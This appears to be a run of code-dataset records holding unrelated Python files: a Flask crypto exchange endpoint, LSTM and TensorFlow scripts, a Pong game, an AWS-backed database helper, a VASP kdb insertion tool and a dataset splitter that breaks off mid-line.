g.session.add(tx)\n g.session.commit()\n \n\"\"\" End of Helper methods\"\"\"\n \n@app.route('/address', methods=['POST'])\ndef address():\n if request.method == \"POST\":\n content = request.get_json(silent=True)\n if 'platform' not in content.keys():\n print( f\"Error: no platform provided\" )\n return jsonify( \"Error: no platform provided\" )\n if not content['platform'] in [\"Ethereum\", \"Algorand\"]:\n print( f\"Error: {content['platform']} is an invalid platform\" )\n return jsonify( f\"Error: invalid platform provided: {content['platform']}\" )\n \n if content['platform'] == \"Ethereum\":\n #Your code here\n return jsonify( \"0xB7F6617dc26C3C609c8837E45eE9D061Eb7a9D9b\" )\n if content['platform'] == \"Algorand\":\n #Your code here\n algo_sk, algo_pk = get_algo_keys()\n #Public Algorand Address: 63G6Z6H5OD24CV5XKKECHPPW6TYFITKLNWHIOFMURKP6Q5DMK3N5BYLXHM\n return jsonify( algo_pk )\n\n@app.route('/trade', methods=['POST'])\ndef trade():\n print( \"In trade\", file=sys.stderr )\n connect_to_blockchains()\n get_keys()\n if request.method == \"POST\":\n content = request.get_json(silent=True)\n columns = [ \"buy_currency\", \"sell_currency\", \"buy_amount\", \"sell_amount\", \"platform\", \"tx_id\", \"receiver_pk\"]\n fields = [ \"sig\", \"payload\" ]\n error = False\n for field in fields:\n if not field in content.keys():\n print( f\"{field} not received by Trade\" )\n error = True\n if error:\n print( json.dumps(content) )\n return jsonify( False )\n \n error = False\n for column in columns:\n if not column in content['payload'].keys():\n print( f\"{column} not received by Trade\" )\n error = True\n if error:\n print( json.dumps(content) )\n return jsonify( False )\n \n # Your code here\n sig = content['sig']\n payload = content['payload']\n payload_pk = payload['sender_pk']\n \n if payload['platform'] == 'Algorand':\n sig_valid = algosdk.util.verify_bytes(json.dumps(payload).encode('utf-8'), sig, payload_pk)\n else:\n eth_encoded_msg = eth_account.messages.encode_defunct(text=json.dumps(payload))\n sig_valid = eth_account.Account.recover_message(eth_encoded_msg,signature=sig) == payload_pk\n \n # 1. Check the signature\n if sig_valid:\n del payload['platform']\n payload['signature'] = sig\n order = Order(**{f:payload[f] for f in payload})\n \n # 2. Add the order to the table\n \n # 3a. Check if the order is backed by a transaction equal to the sell_amount (this is new)\n if order.sell_currency == \"Ethereum\":\n tx = w3.eth.get_transaction(payload['tx_id'])\n if tx is None or tx[\"value\"] != order.sell_amount:\n return jsonify(False)\n elif order.sell_currency == \"Algorand\":\n tx = indexer.search_transaction(txid=payload['tx_id'])\n if tx is None or tx.amt != order.sell_amount:\n return jsonify(False)\n\n # 3b. Fill the order (as in Exchange Server II) if the order is valid\n txes = []\n fill_order(order, txes)\n \n # 4. Execute the transactions\n execute_txes(txes)\n \n return jsonify(True) # TODO: Be sure to return jsonify(True) or jsonify(False) depending on if the method was successful\n\n else: #If the signature does not verify, do not insert the order into the “Order” table. Instead, insert a record into the “Log” table, with the message field set to be json.dumps(payload).\n print('signature does not verify')\n log_message(payload)\n return jsonify(False) # TODO: Be sure to return jsonify(True) or jsonify(False) depending on if the method was successful\n\n return jsonify(True)\n\n@app.route('/order_book')\ndef order_book():\n fields = [ \"buy_currency\", \"sell_currency\", \"buy_amount\", \"sell_amount\", \"signature\", \"tx_id\", \"receiver_pk\" ]\n \n # Same as before\n l = []\n orders = g.session.query(Order).all()\n for order in orders:\n d = {\"buy_currency\": order.buy_currency, \"sell_currency\": order.sell_currency, \"buy_amount\": order.buy_amount, \"sell_amount\": order.sell_amount, \"signature\": order.signature, \"tx_id\": order.tx_id, \"receiver_pk\": order.receiver_pk, \"sender_pk\": order.sender_pk}\n l.append(d)\n result = {'data': l}\n return jsonify(data=result)\n\nif __name__ == '__main__':\n app.run(port='5002')\n","sub_path":"exchange_endpoint.py","file_name":"exchange_endpoint.py","file_ext":"py","file_size_in_byte":13967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"452046646","text":"# _*_ coding: utf-8 _*_\n\"\"\"\nLSTM prediction\n\"\"\"\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom keras.models import load_model\nfrom sklearn.metrics import mean_squared_error\nfrom lstm_multime_pre import data_pre\n\nstr=1#设置时间尺度\n\nif(str==1):\n X_train,X_test,y_train,y_test,y_scale=data_pre(1)\n model = load_model('model_1_time.h5')\nelif(str==5):\n X_train,X_test,y_train,y_test,y_scale=data_pre(5)\n model = load_model('model_5_time.h5')\nif(str==10):\n X_train,X_test,y_train,y_test,y_scale=data_pre(10)\n model = load_model('model_10_time.h5')\n# model = load_model('model_1_multime.h5')\n# model = load_model('model_5_multime.h5')\n# model = load_model('model_10_multime.h5')\n\nyhat =model.predict(X_test)\nyhat = y_scale.inverse_transform(yhat)\ny_test = y_scale.inverse_transform(y_test)\n\nrmse = math.sqrt(mean_squared_error(y_test,yhat))\nprint('Test RMSE:%.3f' % rmse)\n\nplt.rcParams['figure.figsize'] = (20,6)\nplt.rcParams['font.sans-serif']=['SimHei']\n\n# print(\"test\")\nmape = np.mean(np.abs((y_test-yhat)/y_test))*100\nprint('Test MAPE:%.3f' % mape)\nif(str==1):\n for i in range(0,7):\n label = [\"dataset\", \"testPredict\"]\n y_test_plt=y_test[ 24 * 60 * i: 24 * 60 * (i+1)]\n y_hat_plt=yhat[ 24 * 60 * i: 24 * 60 * (i+1)]\n rmse = math.sqrt(mean_squared_error(y_test_plt[:-1], y_hat_plt[1:]))\n print('第%d天'%(i+1),'Test RMSE:%.3f' % rmse)\n mape = np.mean(np.abs((y_test_plt[:-1] - y_hat_plt[1:]) / y_test_plt[:-1])) * 100\n print('第%d天'%(i+1),'Test MAPE:%.3f' % mape)\n l1 = plt.plot(y_test_plt[:-1],color='green')\n l2 = plt.plot(y_hat_plt[1:],color='orange')\n plt.title(\"预测第%d天的预测结果\"%(i+1))\n # plt.show()\n plt.savefig(\"C:/Users/天津科技大学/Desktop/结果/多变量1分钟(无温度)/figure_%d.jpg\" % (i + 1))\n plt.show()\nelif(str==5):\n for i in range(0,7):\n label = [\"dataset\", \"testPredict\"]\n y_test_plt=y_test[ 24 * 12 * i: 24 * 12 * (i+1)]\n y_hat_plt=yhat[ 24 * 12 * i: 24 * 12 * (i+1)]\n rmse = math.sqrt(mean_squared_error(y_test_plt[:-1], y_hat_plt[1:]))\n print('第%d天'%(i+1),'Test RMSE:%.3f' % rmse)\n mape = np.mean(np.abs((y_test_plt[:-1] - y_hat_plt[1:]) / y_test_plt[:-1])) * 100\n print('第%d天'%(i+1),'Test MAPE:%.3f' % mape)\n l1 = plt.plot(y_test_plt[:-1],color='green')\n l2 = plt.plot(y_hat_plt[1:],color='orange')\n plt.title(\"预测第%d天的预测结果\"%(i+1))\n # plt.show()\n plt.savefig(\"C:/Users/天津科技大学/Desktop/结果/多变量5分钟(无温度)/figure_%d.jpg\" % (i + 1))\n plt.show()\nelif(str==10):\n for i in range(0,7):\n label = [\"dataset\", \"testPredict\"]\n y_test_plt=y_test[ 24 * 6 * i: 24 * 6 * (i+1)]\n y_hat_plt=yhat[ 24 * 6 * i: 24 * 6 * (i+1)]\n rmse = math.sqrt(mean_squared_error(y_test_plt[:-1], y_hat_plt[1:]))\n print('第%d天'%(i+1),'Test RMSE:%.3f' % rmse)\n mape = np.mean(np.abs((y_test_plt[:-1] - y_hat_plt[1:]) / y_test_plt[:-1])) * 100\n print('第%d天'%(i+1),'Test MAPE:%.3f' % mape)\n l1 = plt.plot(y_test_plt[:-1],color='green')\n l2 = plt.plot(y_hat_plt[1:],color='orange')\n plt.title(\"预测第%d天的预测结果\"%(i+1))\n # plt.show()\n plt.savefig(\"C:/Users/天津科技大学/Desktop/结果/多变量10分钟(无温度)/figure_%d.jpg\" % (i + 1))\n plt.show()","sub_path":"model/Single_multivariate-master/lstm_time_predict.py","file_name":"lstm_time_predict.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"259068573","text":"# -*- coding:utf-8 -*-\n\nimport tensorflow as tf\n\nglobal_step = tf.Variable(0, trainable=False)\ninitial_learning_rate = 0.1\nlearning_rate = tf.train.exponential_decay(initial_learning_rate, global_step=global_step,\n decay_steps=10, decay_rate=0.9)\n# opt = tf.train.GradientDescentOptimizer(learning_rate=learning_rate)\n# global_step = global_step.assign_add(1)\n\nwith tf.Session() as sess:\n tf.global_variables_initializer().run()\n for i in range(20):\n print(sess.run([global_step, learning_rate]))\n\n","sub_path":"config_learning_rate.py","file_name":"config_learning_rate.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"399129275","text":"#######################################################################################################################################\n# \n# This function creates a table with the Percentage Gap values of a given model within a given period of time. Note that we have data from Monday \n# to Friday. \n#\n# Requirements:\n# import pandas\n#\n# Inputs: \n# model - model (e.g. 'AAPL')\n# start - starting date (e.g. '2009-01-01')\n# end - ending date (e.g. '2019-05-20')\n# term - term (e.g. 'Long Term')\n#\n# Output: \n# dataframe with the following columns:\n# * Dates - dataframe index. \n# * Percentage Gap - model Percentage Gap values for each day requested. \n# * e.g.\n#\n# | Percentage Gap |\n# |2009-01-01 | -19.45884 | \n# |2009-01-02 | -13.05865 |\n# |2009-01-05 | -9.31709 | \n# |... | ... |\n#\n#######################################################################################################################################\n\n\ndef get_Percentage_Gap(model, start, end, term):\n \n #Note that we only have data from Monday to Friday.\n start_date = datetime.strptime(start, '%Y-%m-%d')\n end_date = datetime.strptime(end, '%Y-%m-%d') \n \n if (start_date.weekday() == 5 or start_date.weekday() == 6) and (end_date.weekday() == 5 or end_date.weekday() == 6) and ((end_date - start_date).days == 1):\n print('Please choose a period of time which includes days between Monday and Friday.')\n else: \n \n # Note that the periods of time can be longer than a year. We need to divide them in one-year periods. \n year_start = int(start[:4])\n year_end = int(end[:4])\n time_series = []\n\n for year in range(year_start, year_end + 1):\n query_start = start\n\n if year != year_start:\n date_from = '%d-01-01' % year\n else:\n date_from = start\n if year != year_end:\n date_to = '%d-12-31' % year\n else:\n date_to = end\n\n time_series += api_instance.get_model_timeseries(model=model,date_from=date_from,date_to=date_to,term=term)\n\n percentage_gap = [data.percentage_gap for data in time_series]\n dates = [data._date for data in time_series]\n\n df_ = pandas.DataFrame({'Percentage Gap':percentage_gap})\n\n df_.index = dates\n\n return df_\n","sub_path":"2.Pull_Data/Get_Percentage_Gap.py","file_name":"Get_Percentage_Gap.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"299923250","text":"import modulo\nimport os\n\ndef main():\n\n while True:\n try:\n os.system('clear')\n operacao = int(input('1-Soma\\n2-Subtração\\n3-Divisão\\n4-Multiplicação\\n5-Sair\\n\\nEscolha: '))\n\n if operacao == 5:\n break\n if operacao > 4 or operacao < 1:\n continue\n\n a = float(input('\\nNúmero 1: '))\n b = float(input('Número 2: '))\n resultado = '\\nResultado: '\n\n if operacao == 1:\n resultado += modulo.soma(a,b)\n elif operacao == 2:\n resultado += modulo.subtracao(a,b)\n elif operacao == 3:\n resultado += modulo.divisao(a,b)\n elif operacao == 4:\n resultado += modulo.multiplicacao(a,b)\n else:\n print(\"\\nOpção inválida!\")\n continue\n\n print(resultado)\n input('\\nPressione enter para continuar...')\n\n except KeyboardInterrupt:\n print()\n break\n except ValueError:\n continue\n\n modulo.close()\n return 0\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"RPC/Servidor de Nomes - UDP/Cliente/cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"474303272","text":"from turtle import Screen, up, down\nfrom Intermediate_codes.pong_game.paddle import Paddle\nfrom Intermediate_codes.pong_game.ball import Ball\nfrom Intermediate_codes.pong_game.scoreboard import ScoreBoard\n\nLEFT = (-350, 0)\nRIGHT = (350, 0)\n\nscreen = Screen()\nl_paddle = Paddle(LEFT)\nr_paddle = Paddle(RIGHT)\nball = Ball()\nscore = ScoreBoard()\n\nscreen.tracer(0)\n\nscreen.setup(width=800, height=600)\nscreen.bgcolor(\"black\")\nscreen.title(\"Pong Game\")\n\n\nscreen.listen()\nscreen.onkey(l_paddle.up, key=\"w\")\nscreen.onkey(l_paddle.down, key=\"s\")\n\nscreen.onkey(r_paddle.up, key=\"Up\")\nscreen.onkey(r_paddle.down, key=\"Down\")\n\ngame_is_on = True\nwhile game_is_on:\n screen.update()\n ball.move()\n\n # detect collision with wall\n if ball.ycor() > 280 or ball.ycor() < -280:\n ball.bounce_y()\n\n # detect collision with paddle\n if ball.distance(r_paddle) < 50 and ball.xcor() > 320 or ball.distance(l_paddle) < 50 and ball.xcor() < -320:\n ball.bounce_x()\n\n # detect r paddle misses\n if ball.xcor() > 380:\n ball.reset_position()\n score.l_point()\n\n # detect l paddle misses\n if ball.xcor() < -380:\n ball.reset_position()\n score.r_point()\n\n\n\n\nscreen.exitonclick()\n","sub_path":"Intermediate_codes/pong_game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"556273864","text":"import numpy as np\nimport struct\n\ndigit_folder = '/Users/jkinney/github/15_deft/data/digits/'\n\ndef read_binary_image_from_file(file_handle,width,height):\n G = width*height\n image = np.zeros(G)\n for g in range(G):\n success = False\n byte = file_handle.read(1)\n if byte=='':\n break\n image[g] = ord(byte)\n success = True\n\n return image.reshape(width,height), success\n\ndef get_digit_images(num=1, digit='random'):\n # Choose a digit\n if not digit in range(10):\n digit = np.random.choice(10)\n\n # Open file containing images of that digit\n file_name = '%sdata%d'%(digit_folder,digit)\n f = open(file_name, \"rb\")\n assert f\n\n # Read all images from that file\n width = 28\n height = 28\n images = []\n while True:\n image, success = read_binary_image_from_file(f,width,height)\n if success:\n images.append(image)\n else:\n f.close()\n break\n\n # Return a bunch of images\n indices= np.random.choice(len(images),size=num)\n return [images[i] for i in indices]\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n\n # Show some randomly selected digits\n plt.close('all')\n num_cols = 5\n num_rows = 1\n K = num_cols*num_rows\n plt.figure(figsize=[10,10])\n images = get_digit_images(K)\n for k in range(K):\n plt.subplot(num_rows, num_cols, k)\n plt.imshow(images[k], cmap='bone', interpolation='nearest')\n plt.xticks([])\n plt.yticks([])\n\n # Plotting incantation\n plt.ion() # So focus goes back to commandline\n plt.draw() # Needed to avoid \"CGContextRef is NULL\" exception\n plt.show()\n #plt.tight_layout() # Needed so plot is drawn tollerably","sub_path":"15_deft/data/digits.py","file_name":"digits.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"170309102","text":"import base64\nimport json\nimport time\nfrom typing import Dict, List, Union, Tuple, Any\n\nimport boto3 as boto3\nimport pg8000 as pg8000\nfrom botocore.exceptions import ClientError\nfrom pg8000 import Cursor, Connection\n\nfrom UfRecord import uf_column_map, UfRecord\n\nrecipient_cache: Dict[str, Dict[str, str]] = {}\n\n_db_connection: Union[Connection, None] = None\n\n\n# noinspection SqlDialectInspection ,SqlNoDataSourceInspection\nclass DbUtils:\n _instance = None\n\n # This class is a singleton. \n def __new__(cls, **kwargs):\n if cls._instance is None:\n print('Creating the DbUtils object')\n cls._instance = super(DbUtils, cls).__new__(cls)\n cls._props: List[Tuple] = []\n cls._verbose = kwargs.get('verbose', 0)\n cls._db_host = kwargs.get('db_host')\n cls._db_port = kwargs.get('db_port')\n cls._db_user = kwargs.get('db_user')\n cls._db_password = kwargs.get('db_password')\n cls._db_name = kwargs.get('db_name')\n\n return cls._instance\n\n def _get_secret(self) -> dict:\n secret_name = \"lb_stats_access2\"\n region_name = \"us-west-2\"\n\n if self._verbose >= 2:\n print(' Getting credentials for database connection. v2.')\n start = time.time()\n\n # Create a Secrets Manager client\n try:\n session = boto3.session.Session()\n client = session.client(\n service_name='secretsmanager',\n region_name=region_name\n )\n except Exception as e:\n print(' Exception getting session client: {}, elapsed: {}'.format(str(e), time.time() - start))\n raise e\n\n # In this sample we only handle the specific exceptions for the 'GetSecretValue' API.\n # See https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html\n # We rethrow the exception by default.\n\n try:\n get_secret_value_response = client.get_secret_value(\n SecretId=secret_name\n )\n except ClientError as e:\n if self._verbose >= 2:\n print(' Exception getting credentials: {}, elapsed: {}'.format(e.response['Error']['code'],\n time.time() - start))\n\n if e.response['Error']['Code'] == 'DecryptionFailureException':\n # Secrets Manager can't decrypt the protected secret text using the provided KMS key.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n elif e.response['Error']['Code'] == 'InternalServiceErrorException':\n # An error occurred on the server side.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n elif e.response['Error']['Code'] == 'InvalidParameterException':\n # You provided an invalid value for a parameter.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n elif e.response['Error']['Code'] == 'InvalidRequestException':\n # You provided a parameter value that is not valid for the current state of the resource.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n elif e.response['Error']['Code'] == 'ResourceNotFoundException':\n # We can't find the resource that you asked for.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n else:\n raise e\n else:\n # Decrypts secret using the associated KMS CMK.\n # Depending on whether the secret is a string or binary, one of these fields will be populated.\n if 'SecretString' in get_secret_value_response:\n secret = get_secret_value_response['SecretString']\n result = json.loads(secret)\n else:\n decoded_binary_secret = base64.b64decode(get_secret_value_response['SecretBinary'])\n result = decoded_binary_secret\n\n # Your code goes here.\n return result\n\n def _get_db_connection(self) -> None:\n global _db_connection\n if _db_connection is None:\n secret = self._get_secret()\n\n parms = {'database': 'dashboard', 'user': secret['username'], 'password': secret['password'],\n 'host': secret['host'], 'port': secret['port']}\n if self._db_host:\n parms['host'] = self._db_host\n if self._db_port:\n parms['port'] = int(self._db_port)\n if self._db_user:\n parms['user'] = self._db_user\n if self._db_password:\n parms['password'] = self._db_password\n if self._db_name:\n parms['database'] = self._db_name\n\n _db_connection = pg8000.connect(**parms)\n\n @property\n def db_connection(self) -> Connection:\n global _db_connection\n if not _db_connection:\n self._get_db_connection()\n return _db_connection\n\n def query_recipient_info(self, recipientid: str) -> Dict[str, str]:\n \"\"\"\n Given a recipientid, return information about the recipient. Previously found recipients are\n cached. Non-cached recipients are looked up in the database.\n :param recipientid: to be found.\n :return: a Dict[str,str] of data about the recipient.\n \"\"\"\n if recipientid in recipient_cache:\n return recipient_cache[recipientid]\n\n cursor: Cursor = self.db_connection.cursor()\n cursor.paramstyle = 'named'\n\n # { db column : dict key }\n columns = {'recipientid': 'recipientid', 'project': 'program', 'partner': 'customer', 'affiliate': 'affiliate',\n 'country': 'country', 'region': 'region',\n 'district': 'district', 'communityname': 'community', 'groupname': 'group', 'agent': 'agent',\n 'language': 'language', 'listening_model': 'listening_model'}\n # select recipientid, project, ... from recipients where recipientid = '0123abcd4567efgh';\n command = f'select {\",\".join(columns.keys())} from recipients where recipientid=:recipientid;'\n values = {'recipientid': recipientid}\n\n recipient_info: Dict[str, str] = {}\n try:\n result_keys: List[str] = list(columns.values())\n cursor.execute(command, values)\n for row in cursor:\n # Copy the recipient info, translating from the database names to the local names.\n for key in result_keys:\n recipient_info[key] = row[result_keys.index(key)]\n except Exception:\n pass\n recipient_cache[recipientid] = recipient_info\n return recipient_info\n\n def query_deployment_number(self, program: str, deployment: str) -> str:\n cursor: Cursor = self.db_connection.cursor()\n cursor.paramstyle = 'named'\n\n command = 'select deploymentnumber from deployments where project=:program and deployment=:deployment limit 1;'\n values = {'program': program, 'deployment': deployment}\n\n cursor.execute(command, values)\n for row in cursor:\n return str(row[0])\n\n def insert_uf_records(self, uf_items: List[Tuple]) -> Any:\n cursor: Cursor = self.db_connection.cursor()\n cursor.paramstyle = 'numeric'\n if self._verbose >= 1:\n print(f'Adding {len(uf_items)} records to uf_messages')\n\n # It doesn't seem that this should be necessary, but it seems to be.\n self.db_connection.rollback()\n\n columns = list(uf_column_map.keys())\n column_numbers = [f':{ix + 1}' for ix in range(0, len(columns))]\n\n command = f\"INSERT INTO uf_messages \" \\\n f\"({', '.join(columns)}) VALUES ({', '.join(column_numbers)})\" \\\n f\"ON CONFLICT(message_uuid) DO NOTHING;\"\n for uf_item in uf_items:\n cursor.execute(command, uf_item)\n\n self.db_connection.commit()\n if self._verbose >= 2:\n print(f'Committed {len(uf_items)} records to uf_messages.')\n\n def get_uf_records(self, programid: str, deploymentnumber: int) -> List[UfRecord]:\n cursor: Cursor = self.db_connection.cursor()\n cursor.paramstyle = 'named'\n if self._verbose >= 1:\n print(f'Getting uf records for {programid} / {deploymentnumber}.')\n\n result = []\n command = f\"SELECT \" + ', '.join(uf_column_map.keys()) + \\\n f\" FROM uf_messages WHERE programid=:programid AND deploymentnumber=:deploymentnumber ORDER BY message_uuid;\"\n options = {'programid': programid, 'deploymentnumber': deploymentnumber}\n cursor.execute(command, options)\n for row in cursor:\n result.append(UfRecord(*row))\n return result\n\n def update_uf_bundles(self, programid: str, deploymentnumber: int, bundles: Dict[str,List[str]]) -> bool:\n \"\"\"\n Updates the bundle_uuid column of the inidicated messages.\n :param programid: For an extra validation, the record must belong to this program.\n :param deploymentnumber: For an extra validation, the record must belong to this deployment.\n :param bundles: A map of bundle_uuid to list of message_uuid.\n :return: pass/fail\n \"\"\"\n cursor: Cursor = self.db_connection.cursor()\n cursor.paramstyle = 'named'\n if self._verbose >= 1:\n print(f'Updating uf bundle_uuids for {sum([len(v) for v in bundles.values()])} messages in {programid} / {deploymentnumber}.')\n\n try:\n command = \"UPDATE uf_messages SET bundle_uuid=:bundle_uuid WHERE message_uuid=:message_uuid AND programid=:programid AND deploymentnumber=:deploymentnumber;\"\n options = {'programid': programid, 'deploymentnumber': deploymentnumber}\n for bundle_uuid, messages in bundles.items():\n options['bundle_uuid'] = bundle_uuid\n for message_uuid in messages:\n options['message_uuid'] = message_uuid\n cursor.execute(command, options)\n self.db_connection.commit()\n return True\n except Exception as ex:\n return False\n","sub_path":"AWS-LB/bin/ufUtility/dbutils.py","file_name":"dbutils.py","file_ext":"py","file_size_in_byte":10459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"637211620","text":"# 14. Write a function find_longest_word() that takes a list of words and returns the length of the\n# longest word and that word itself.\n\n\ndef find_longest_word():\n input_string = input(\"Enter the list of words :\" )\n ListString = list(input_string.split(\" \"))\n ListString.sort(key = len , reverse= -1)\n # print(ListString)\n print(\"Longest word in the list is {} \".format(ListString[0]))\n\nfind_longest_word()\n\n","sub_path":"LongestWordProblem14.py","file_name":"LongestWordProblem14.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"412018681","text":"#!/usr/bin/env python\nimport subprocess\nimport os \nimport numpy\nimport sys\nfrom bin.kdb_remote_client import run as remote_run\nfrom bin.kdb_local_client import run as local_run\nfrom kdb.aselite import read_vasp\nfrom kdb.aselite import Atoms # def get_distance(self, a0, a1, mic=False):\n#Should find the reactant,saddle,product,compute the forward and reverse barriers, and submit it in the the correct format\n\n#CODE :\n#Get numbers of images in system\n# for each image: append its energy to array, find max of array ->saddle energy, submit process to kdb\n\ndef get_saddle_image_number_and_barriers(path):\n #num_img = ( 'grep \"IMAGES\" INCAR | tail -n 1|cut -c 8-106')\n num_img = ( 'grep \"IMAGES\" INCAR | tail -n 1')\n eng_img = ('grep -a \"energy without\" OUTCAR | tail -n 1|cut -c 67-78')\n temp_NI = (subprocess.check_output(num_img, shell=True).decode(\"utf-8\"))\n temp_NI = temp_NI.strip()\n temp_NI = temp_NI.split('=')\n NI = int(temp_NI[-1])\n Energy_All = []#Array to store energy of each image including reactant and product\n for i in range(0,NI+2):\n if i < 10:\n s = \"/0\"+str(i)\n else:\n s = \"/\"+str(i)\n os.chdir(path+s)\n try:\n if \"OUTCAR.gz\" in os.listdir():\n os.system(\"gunzip OUTCAR.gz\")\n if \"OUTCAR\" in os.listdir():\n pass\n except:\n print (\"No OUTCAR or OUTCAR.gz in directory\")\n energy_image = float(subprocess.check_output(eng_img, shell=True))\n Energy_All.append(energy_image)\n Sadd_Img = numpy.where(Energy_All==numpy.amax(Energy_All))[0][0]#get index of max of images\n forward_barrier = (numpy.amax(Energy_All)-Energy_All[0])\n reverse_barrier = (numpy.amax(Energy_All)-Energy_All[NI+1])\n print (\"forward_barrier: \",forward_barrier)\n print (\"reverse_barrier: \",reverse_barrier)\n print (\"The saddle is image \"+ str( Sadd_Img))\n return Sadd_Img,NI\n\n#state_i = (read_vasp('MIN_1'))\t\n#state_j = (read_vasp('MIN_2'))\n\ndef get_mode(before_saddle,after_saddle):\n #print (\"Entered get_mode function\")\n mode = []\n before_saddle = (read_vasp(before_saddle))\n a_saddle = (read_vasp(after_saddle))\n #print (\"State I Cell: \",before_saddle.get_cell())\n #print (\"State I Cell[0]: \",before_saddle.get_cell()[0])\n #print (\"State J: \",saddle.get_positions())\n Saddle_Half_Cell = numpy.linalg.norm(a_saddle.get_cell())/2\n movement = a_saddle.get_positions()-before_saddle.get_positions()\n #print (\"Movement: \",movement)\n # NEED TO FINISH THIS CODE, How exactly to account for PBC?\n for i in range(len(movement)):\n Dr = numpy.linalg.solve(a_saddle.get_cell().T, movement[i])\n D = numpy.dot(Dr - numpy.round(Dr) * a_saddle.get_pbc(), a_saddle.get_cell())\n movement[i] = D\n mode = movement\n #print (\"Mode: \",mode)\n return mode\n\n#allows users to add -l in arguments in case they wish to create a local kdb\ndef get_options():\n local_insert = False\n for i in sys.argv:\n if i ==\"-l\":\n local_insert = True\n print(\"Local Insert: \", local_insert)\n return local_insert\n\npath = os.getcwd()#Get the path from where the script is run\n\ndef main():\n Saddle_Image,NI = get_saddle_image_number_and_barriers(path)\n reactant = path+\"/00/POSCAR\"\n if Saddle_Image < 10:\n saddle = path+\"/0\"+str(Saddle_Image)+\"/CONTCAR\"\n else:\n saddle = path+\"/\"+str(Saddle_Image)+\"/CONTCAR\"\n if NI < 9:\n product = path+\"/0\"+str(NI+1)+\"/POSCAR\"\n else:\n product = path+\"/\"+str(NI+1)+\"/POSCAR\"\n #print (reactant)\n #print (saddle)\n #print (product)\n if Saddle_Image > NI: #Product is the highest energy image\n if NI < 10:\n mode = get_mode(path+\"/0\"+str(NI)+\"/CONTCAR\",product)\n else:\n mode = get_mode(path+\"/\"+str(NI)+\"/CONTCAR\",product)\n elif Saddle_Image == NI: # highest energy image is 2nd to the last\n if Saddle_Image < 11:\n mode = get_mode(path+\"/0\"+str(Saddle_Image-1)+\"/CONTCAR\",product)\n else:\n mode = get_mode(path+\"/\"+str(Saddle_Image-1)+\"/CONTCAR\",product)\n elif Saddle_Image == 1:\n after_saddle = path+\"/02/CONTCAR\"\n mode = get_mode(reactant,after_saddle)\n # not considering the case where Saddle_Image == 0\n else: #Case that a middle image is the highest energy image\n if Saddle_Image < 9:\n after_saddle = path+\"/0\"+str(Saddle_Image+1)+\"/CONTCAR\"\n else:\n after_saddle = path+\"/\"+str(Saddle_Image+1)+\"/CONTCAR\"\n if Saddle_Image < 11:\n mode = get_mode(path+\"/0\"+str(Saddle_Image-1)+\"/CONTCAR\",after_saddle)\n else:\n mode = get_mode(path+\"/\"+str(Saddle_Image-1)+\"/CONTCAR\",after_saddle)\n #print (\"Mode: \",mode)\n os.chdir(path)#Ensure Back at original path\n f = open(\"MODE.dat\", \"a\")\n for i in range (len(mode)):\n for j in range (3):\n f.write(str(mode[i][j])+\"\\t\")\n if j ==2:\n f.write(\"\\n\")\n path_mode = path+\"/MODE.txt\"\n f.close()\n local_insert = get_options()\n if local_insert:\n insert_kdb = (local_run([\"insert\",reactant,saddle,product,path_mode]))\n #insert_kdb = (local_run([\"insert\",reactant,saddle,product]))\n else:\n #insert_kdb = (remote_run([\"insert\",reactant,saddle,product,mode])) \n insert_kdb = (remote_run([\"insert\",reactant,saddle,product])) \n return 0\n\nmain()\n\n","sub_path":"VASP/vtstscripts-972/kdbinsert.py","file_name":"kdbinsert.py","file_ext":"py","file_size_in_byte":5415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"52567777","text":"import codecs\r\nimport math\r\nimport os\r\nimport random\r\nfrom common import XMLParser\r\n\r\n\"\"\"\r\nWorkdir must be \"src\" folder\r\n\"\"\"\r\nprint(\"Workdir: \" + os.getcwd() + \", file:\" + __file__)\r\nparser = XMLParser(\"../common/dataset/ssj500k-sl_merged_samoSeg.xml\")\r\nparsed = parser.list_all_tags_and_upos_for_deepPavlov()\r\nsentences = {\r\n \"training\": [],\r\n \"validation\": [],\r\n \"test\": []\r\n}\r\nsUnseg = [[]]\r\ncursentence = []\r\ni = 0\r\nfor line in parsed:\r\n if line[0] == \"0\" and line[1] == \"0\" and line[2] == \"0\":\r\n sUnseg[i].append(\"\\n\")\r\n sUnseg.append([])\r\n i += 1\r\n continue\r\n\r\n ana = line[2].split(\"-\")\r\n anaT = \"\".join(ana)\r\n sUnseg[i].append(line[0] + \" \" + anaT + \" \" + line[1] + \"\\n\")\r\n\r\nnSentences = len(sUnseg)\r\nnValidation = math.ceil(nSentences * 0.1)\r\nnTesting = nValidation\r\nnTrening = nSentences - nValidation - nTesting\r\n\r\nrandom.shuffle(sUnseg)\r\nfor sentence in sUnseg:\r\n nTreningRi = len(sentences[\"training\"])\r\n nValidationRi = len(sentences[\"validation\"])\r\n nTestingRi = 